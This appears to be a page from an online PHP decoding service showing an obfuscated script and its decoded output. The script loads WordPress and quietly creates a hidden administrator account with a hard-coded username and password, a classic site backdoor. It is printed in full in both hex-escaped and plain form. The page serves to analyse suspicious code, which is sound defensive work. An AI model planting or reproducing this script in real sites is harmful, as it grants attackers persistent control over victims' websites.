Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto TmsKn; auKN_: $newusername = "\163\165\x70\x65\162\x61\x64\155\x69\156"; goto..
Decoded Output download
<?php
goto TmsKn; auKN_: $newusername = "superadmin"; goto UtNq8; TgJhj: $newemail = "[email protected]"; goto Wqwdv; TmsKn: require_once "../../../../../wp-blog-header.php"; goto L6ysQ; L6ysQ: require_once "../../../../../wp-includes/registration.php"; goto auKN_; UtNq8: $newpassword = "sekip"; goto TgJhj; Wqwdv: if ($newpassword != "YOURPASSWORD" && $newemail != "[email protected]" && $newusername != "YOURUSERNAME") { if (!username_exists($newusername) && !email_exists($newemail)) { $user_id = wp_create_user($newusername, $newpassword, $newemail); if (is_int($user_id)) { $wp_user_object = new WP_User($user_id); $wp_user_object->set_role("administrator"); echo "Successfully created new admin user. Now delete this file!"; } else { echo "Error with wp_insert_user. No users were created."; } } else { echo "This user or email already exists. Nothing was done."; } } else { echo "You did not set a password, username, or email."; echo "Before running the script, set these variables and try again ;)"; } ?>
Did this file decode correctly?
Original Code
<?php
goto TmsKn; auKN_: $newusername = "\163\165\x70\x65\162\x61\x64\155\x69\156"; goto UtNq8; TgJhj: $newemail = "\163\x75\160\x70\x6f\x72\164\100\x77\x6f\162\144\x70\162\145\x73\163\56\157\162\x67"; goto Wqwdv; TmsKn: require_once "\x2e\x2e\x2f\56\56\57\x2e\56\x2f\x2e\x2e\57\x2e\56\x2f\167\x70\x2d\142\x6c\157\x67\x2d\x68\145\x61\x64\x65\162\x2e\x70\x68\160"; goto L6ysQ; L6ysQ: require_once "\x2e\56\57\56\56\x2f\x2e\x2e\57\x2e\56\x2f\56\56\57\x77\160\x2d\151\x6e\143\x6c\165\144\x65\163\x2f\162\x65\147\x69\163\x74\x72\141\x74\x69\x6f\156\x2e\x70\x68\x70"; goto auKN_; UtNq8: $newpassword = "\x73\145\153\151\x70"; goto TgJhj; Wqwdv: if ($newpassword != "\x59\x4f\x55\x52\120\101\x53\123\x57\117\x52\104" && $newemail != "\131\117\125\x52\x45\x4d\x41\x49\114\x40\124\105\x53\124\56\143\157\155" && $newusername != "\131\x4f\x55\x52\x55\x53\105\122\x4e\101\115\105") { if (!username_exists($newusername) && !email_exists($newemail)) { $user_id = wp_create_user($newusername, $newpassword, $newemail); if (is_int($user_id)) { $wp_user_object = new WP_User($user_id); $wp_user_object->set_role("\x61\x64\x6d\x69\156\151\x73\x74\x72\141\164\157\162"); echo "\123\x75\143\x63\145\163\163\x66\165\x6c\x6c\171\x20\x63\x72\145\141\x74\145\x64\40\x6e\145\167\40\141\144\x6d\x69\156\x20\165\x73\145\x72\56\40\116\x6f\x77\40\144\x65\x6c\x65\x74\x65\x20\164\150\151\x73\x20\x66\151\x6c\145\x21"; } else { echo "\x45\x72\x72\x6f\x72\x20\x77\x69\x74\x68\x20\x77\160\x5f\x69\156\163\x65\x72\164\x5f\x75\x73\145\x72\56\40\x4e\157\x20\x75\x73\145\x72\x73\40\x77\x65\x72\145\x20\143\162\x65\141\x74\x65\x64\56"; } } else { echo "\x54\x68\151\x73\40\165\163\145\x72\40\157\162\x20\145\x6d\141\151\x6c\x20\x61\x6c\162\x65\141\x64\x79\40\x65\170\151\163\164\x73\x2e\40\116\x6f\164\x68\x69\156\147\x20\x77\x61\163\x20\144\157\156\x65\x2e"; } } else { echo "\131\x6f\165\40\x64\151\144\40\156\x6f\x74\x20\163\x65\164\x20\x61\40\x70\141\x73\x73\x77\157\162\144\x2c\x20\165\163\145\162\x6e\x61\155\x65\54\40\157\162\40\x65\x6d\141\x69\154\56"; echo "\x42\x65\146\x6f\162\x65\x20\162\165\156\156\x69\156\147\x20\x74\x68\x65\x20\163\143\162\151\160\x74\x2c\40\163\145\x74\40\x74\x68\x65\163\x65\x20\x76\141\x72\x69\x61\142\154\145\163\x20\141\x6e\144\x20\164\162\x79\x20\x61\x67\141\151\x6e\x20\x3b\x29"; }
Function Calls
None |
Stats
MD5 | 1c54fdcf52a4bfba1b6bcf4ab9769b4d |
Eval Count | 0 |
Decode Time | 49 ms |